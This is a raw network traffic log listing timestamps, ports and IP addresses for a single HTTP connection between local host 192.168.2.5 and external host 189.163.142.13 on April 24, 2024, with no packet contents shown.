Apr 24, 2024 12:07:09.030447960 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030484915 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030523062 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030543089 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030586004 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030668020 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030715942 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030782938 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030817986 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030874014 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030914068 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.030949116 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.030985117 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.031003952 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.031039953 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.031058073 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.031104088 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.034774065 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.034823895 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.034842014 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.034877062 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.034888029 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.034939051 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.034964085 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035000086 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.035018921 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035037041 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035057068 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.035069942 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.035118103 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035156012 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.035177946 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035219908 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.035237074 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035274029 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.035281897 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035322905 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.035341024 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035378933 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.035490036 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.035527945 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.039287090 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.039339066 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.039359093 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.039396048 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.039473057 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.039511919 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.039544106 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.039586067 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.039604902 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.039642096 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.039660931 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.039702892 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.039752007 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.039791107 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.039854050 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.039910078 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242392063 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242423058 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242444992 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242461920 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242482901 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242484093 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242506027 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242537975 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242578983 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242607117 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242616892 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242645025 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242676020 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242693901 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242722988 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242733002 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242762089 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242808104 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242830992 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242870092 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242887020 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.242928028 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.242963076 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.243029118 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.246965885 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247020960 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247028112 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247066021 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247085094 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247127056 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247148991 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247189999 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247208118 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247260094 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247278929 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247319937 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247342110 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247359037 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247380972 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247401953 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247428894 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247467041 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247499943 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247539997 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247560024 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247595072 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.247617006 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.247657061 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251348019 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251395941 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251404047 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251445055 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251477003 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251519918 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251537085 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251578093 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251599073 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251636982 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251657963 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251698971 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251723051 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251760960 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251768112 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251799107 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251885891 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251929045 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.251949072 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.251992941 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.252053022 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.252093077 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.252125978 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.252166986 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.255970955 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256027937 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256041050 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256077051 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256093025 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256133080 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256154060 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256191015 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256208897 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256246090 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256279945 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256319046 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256336927 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256376028 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256460905 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256496906 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256530046 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256566048 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256635904 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256655931 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256669044 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256685972 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256699085 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256724119 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.256740093 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.256773949 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.259773016 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.259816885 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.259835005 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.259869099 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.259881020 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.259910107 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.259957075 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260001898 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260036945 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260076046 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260144949 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260160923 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260181904 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260195971 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260226011 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260266066 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260283947 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260320902 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260344028 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260381937 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260405064 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260453939 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260473013 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260508060 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.260530949 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.260565042 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.263355970 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.263407946 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.263433933 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.263472080 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.454665899 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.454698086 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.454719067 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.454736948 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.454756975 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.454775095 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.454785109 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.454822063 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.454874039 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.454890966 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.454910040 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.454926014 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.454933882 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.454966068 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.454994917 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.455028057 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.455039024 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.455071926 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.455102921 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.455118895 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.455138922 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.455163002 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.455193043 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.455233097 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.458928108 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.458961010 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.458973885 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459001064 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459057093 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459094048 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459129095 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459167957 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459191084 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459228039 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459238052 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459255934 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459274054 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459285975 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459325075 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459342003 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459381104 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459398985 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459425926 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459444046 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459461927 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459484100 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.459500074 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.459542036 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.463989973 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464034081 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464051962 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464092970 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464118958 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464132071 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464179039 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464221001 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464240074 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464276075 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464294910 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464313030 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464333057 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464349985 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464384079 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464421988 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464442015 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464488983 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464508057 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464541912 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464565992 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464581966 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.464601040 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.464613914 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467082977 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467132092 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467170000 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467214108 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467231989 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467269897 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467369080 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467408895 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467432022 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467493057 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467547894 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467562914 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467592001 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467603922 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467623949 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467644930 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467701912 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467701912 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467724085 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467741966 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467765093 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467782974 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467802048 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467844009 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.467868090 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.467910051 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470478058 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470521927 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470541000 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470576048 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470590115 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470628023 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470649004 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470690966 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470709085 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470753908 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470771074 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470793009 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470805883 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470829964 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470845938 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470881939 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470889091 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470921993 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470932961 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.470968962 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.470977068 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.471009970 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.471034050 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.471071959 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.473697901 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.473716974 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.473742008 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.473756075 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.473786116 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.473838091 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.473860979 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.473877907 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.473905087 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.473923922 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.473993063 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.474010944 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.474030972 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.474040985 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.474054098 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.474073887 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.474097013 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.474131107 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.474169016 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.474217892 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.474225044 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.474252939 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.474284887 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.474323034 CEST	49711	80	192.168.2.5	189.163.142.13
Apr 24, 2024 12:07:09.476984978 CEST	80	49711	189.163.142.13	192.168.2.5
Apr 24, 2024 12:07:09.477025986 CEST	49711	80	192.168.2.5	189.163.142.13
